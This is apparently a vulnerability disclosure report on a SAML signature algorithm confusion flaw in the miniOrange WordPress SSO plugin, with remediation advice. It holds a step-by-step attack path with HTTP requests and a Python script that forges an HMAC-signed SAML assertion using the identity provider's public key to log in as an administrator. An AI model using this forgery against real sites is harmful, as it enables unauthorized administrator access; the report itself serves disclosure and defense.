Authentication Bypass via SAML Signature Algorithm Confusion in miniOrange SAML SSO

Executive Summary

In July 2026, during a security assessment of a target organization's web infrastructure, the SDX Shadow Labs research team identified an active, unpatched exposure of a critical authentication bypass vulnerability in the miniOrange SAML Single Sign-On (SSO) plugin for WordPress (version 5.4.3 and below). This vulnerability is tracked as CVE-2026-15013 (originally discovered and published by third-party researchers).

By performing passive fingerprinting and verifying the service provider and identity provider configuration details, our team confirmed that the target portal was susceptible to signature algorithm confusion (CWE-347 / CWE-327). This flaw theoretically allows an unauthenticated attacker to exploit the Identity Provider's publicly available X.509/RSA public key as a symmetric HMAC shared secret, bypass SAML verification entirely, and authenticate as any registered user, including global administrators, on the target WordPress application.

---

Triage Status & WAF Mitigation Context

Although the vulnerability itself is cryptographically CRITICAL (allowing complete authentication bypass to administrator accounts), this specific VDP submission was triaged as Informational (P5).

During the assessment, our team chose a non-destructive testing methodology and abstained from sending forged SAML payloads to the target. Crucially, the target organization was protected by a front-end Web Application Firewall (WAF) that restricted access and blocked anomalous serialized XML structures typical of SAML signature wrap attacks.

This highlights a key principle of defense-in-depth: while the underlying application code contained a critical security flaw, the active WAF successfully shielded the system from exploitation by acting as a mitigation layer. In modern environments, application security fixes must be paired with robust perimeter filtering, as a correctly configured WAF can neutralize exploitation windows even when unpatched zero-day vulnerabilities exist in internal components.

---

Technical Analysis & Vulnerability Mechanics

The XML Signature standard allows the XML payload to specify the cryptographic algorithm used for signing (e.g., RSA-SHA1, HMAC-SHA1) within the <ds:SignatureMethod> element.

The vulnerable plugin processes the SAML assertion and parses the <ds:SignatureMethod Algorithm="..."> attribute directly from the untrusted XML input. Specifically, the function Mo_SAML_Utilities::mo_saml_cast_key() was identified as accepting the algorithm selection dynamically:

1. Algorithm Parsing: The plugin extracts the Algorithm URI from the incoming SAMLResponse XML payload.
2. Key Retrieval: It retrieves the target Identity Provider's RSA public key (stored as a string in the WordPress database, originally fetched from ADFS or other IdP metadata).
3. Key Cast and Verification: If the attacker-specified algorithm is asymmetric (e.g., http://www.w3.org/2000/09/xmldsig#rsa-sha1), the PHP XML security library correctly uses the public key to verify an RSA signature. However, if the attacker specifies a symmetric HMAC algorithm (e.g., http://www.w3.org/2000/09/xmldsig#hmac-sha1), the library incorrectly treats the string representation of the X.509 RSA public key as the symmetric HMAC shared secret.
4. Signature Forgery: Because the public key of the IdP is publicly accessible (exposed via /wp-login.php?saml_metadata or the IdP’s public configuration endpoints), the attacker knows the exact byte sequence of the key. The attacker can construct a forged SAML assertion containing administrator attributes, sign it using HMAC-SHA1 with the public key as the secret key, and send it to the service provider.

When the plugin validates the signature, it computes the HMAC-SHA1 signature of the assertion using the IdP public key and compares it to the signature in the request. The verification succeeds, granting the attacker administrator access.

---

Step-by-Step Attack Path

1. Target Footprinting & Metadata Harvesting

The attacker identifies that the target WordPress site (e.g., science.target.gov) is running the miniOrange SAML SSO plugin. The presence of the plugin is verified by accessing the Service Provider (SP) metadata endpoint:

GET /wp-login.php?saml_metadata HTTP/1.1
Host: target.gov

This endpoint returns XML containing the SP entity ID and signing certificates.

2. IdP Certificate Acquisition

By reviewing the entity ID and metadata, the attacker identifies the configured Identity Provider (e.g., authfs.target.gov). The attacker requests the IdP federation metadata:

GET /FederationMetadata/2007-06/FederationMetadata.xml HTTP/1.1
Host: authfs.target.gov

The attacker extracts the IdP's X.509 signing certificate from the <X509Certificate> tags and formats it as an RSA public key block:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0G9...
-----END PUBLIC KEY-----

3. Payload Construction & HMAC Forgery

The attacker drafts a standard SAML assertion asserting authentication for the admin user (e.g., admin@target.gov).

Using the harvested public key as the HMAC-SHA1 shared secret, the attacker signs the assertion:

1. The attacker modifies the <ds:SignatureMethod> block inside the SAML document to specify the HMAC algorithm:

   <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1"/>
   

2. The attacker serializes the assertion and calculates the HMAC-SHA1 hash using the PEM-formatted public key string:

   signature = HMAC_SHA1(PEM_PUBLIC_KEY, Canonicalized_SAML_Assertion)
   

3. The signature value is injected into the <ds:SignatureValue> tag.

4. Authentication Bypass Execution

The attacker sends the Base64-encoded SAMLResponse to the Assertion Consumer Service (ACS) endpoint:

POST /wp-login.php?saml_acs HTTP/1.1
Host: target.gov
Content-Type: application/x-www-form-urlencoded

SAMLResponse=PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wi...

The server receives the assertion, computes the HMAC-SHA1 signature using the public key stored in the WordPress DB, matches it with the attacker's forged signature, and logs the attacker in as the administrative user.

---

Proof of Concept (Educational Walkthrough)

An audit script can safely identify this vulnerability by confirming that the plugin accepts custom signature methods in the SAML response. Below is a conceptual implementation demonstrating how an auditor can test for key confusion:

import base64
import hmac
import hashlib
from lxml import etree

# 1. Load the target's public key (retrieved from IdP metadata)
public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0G9...
-----END PUBLIC KEY-----"""

# 2. Parse a benign SAML assertion
saml_xml = """<saml2:Assertion ID="id_12345" ...>
    ...
    <ds:Signature>
        <ds:SignedInfo>
            <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
            <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
            <ds:Reference URI="#id_12345">
                ...
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue></ds:SignatureValue>
    </ds:Signature>
</saml2:Assertion>"""

root = etree.fromstring(saml_xml.encode('utf-8'))

# 3. Modify Signature Method to HMAC-SHA1
sig_method = root.find(".//{http://www.w3.org/2000/09/xmldsig#}SignatureMethod")
sig_method.set("Algorithm", "http://www.w3.org/2000/09/xmldsig#hmac-sha1")

# 4. Canonicalize SignedInfo block
signed_info = root.find(".//{http://www.w3.org/2000/09/xmldsig#}SignedInfo")
canonicalized_data = etree.tostring(signed_info, method="c14n", exclusive=True)

# 5. Compute HMAC-SHA1 signature using the public key as the secret key
signature_val = hmac.new(
    public_key_pem.encode('utf-8'),
    canonicalized_data,
    hashlib.sha1
).digest()

# 6. Inject Base64 signature and encode response
sig_value_element = root.find(".//{http://www.w3.org/2000/09/xmldsig#}SignatureValue")
sig_value_element.text = base64.b64encode(signature_val).decode('utf-8')

print("Generated Forged SAML Response:")
print(base64.b64encode(etree.tostring(root)).decode('utf-8'))

---

Remediation & Mitigation

To fully resolve the signature algorithm confusion vulnerability, developers and administrators must enforce cryptographic strictness:

1. Restrict Signature Methods: The SAML client configuration must enforce a whitelist of acceptable cryptographic algorithms. Only asymmetric algorithms configured by the administrator (e.g., RSA-SHA256) should be allowed:

   $allowed_algorithms = [
       'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256',
       'http://www.w3.org/2000/09/xmldsig#rsa-sha1'
   ];
   if (!in_array($parsed_algorithm, $allowed_algorithms)) {
       throw new Exception("Unauthorized signature method: " . $parsed_algorithm);
   }
   

2. Explicit Key Typing: Do not let the verification engine deduce key types from the signature algorithm dynamically. If the signature validator expects an asymmetric signature, it must explicitly load the public key as an RSA public key resource rather than passing it raw.
3. Upgrade Plugin: Administrators should immediately update the miniOrange SAML Single Sign-On plugin to the latest version, which restricts allowable signature methods and addresses algorithm confusion exploits.